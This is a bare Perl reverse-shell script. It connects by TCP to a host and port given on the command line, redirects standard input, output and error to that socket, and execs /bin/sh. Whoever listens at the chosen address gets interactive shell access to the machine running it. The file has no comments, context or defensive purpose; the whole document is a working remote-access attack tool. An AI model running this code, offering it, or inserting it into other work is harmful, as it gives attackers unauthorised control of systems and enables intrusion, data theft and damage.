#!/usr/bin/perl -w
use Socket;
if ($#ARGV + 1 < 2) {
	print "usage : script.pl host port\n";
	exit(1);
}
$h=$ARGV[0];
$p=$ARGV[1];
$sp=inet_aton($h);
$sa=sockaddr_in($p,$sp);
socket(CLIENT,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
gethostbyname($h);
connect(CLIENT,$sa);
open(STDIN,">&CLIENT");
open(STDOUT,">&CLIENT");
open(STDERR,">&CLIENT");
if(fork()){exec "/bin/sh"; exit(0); };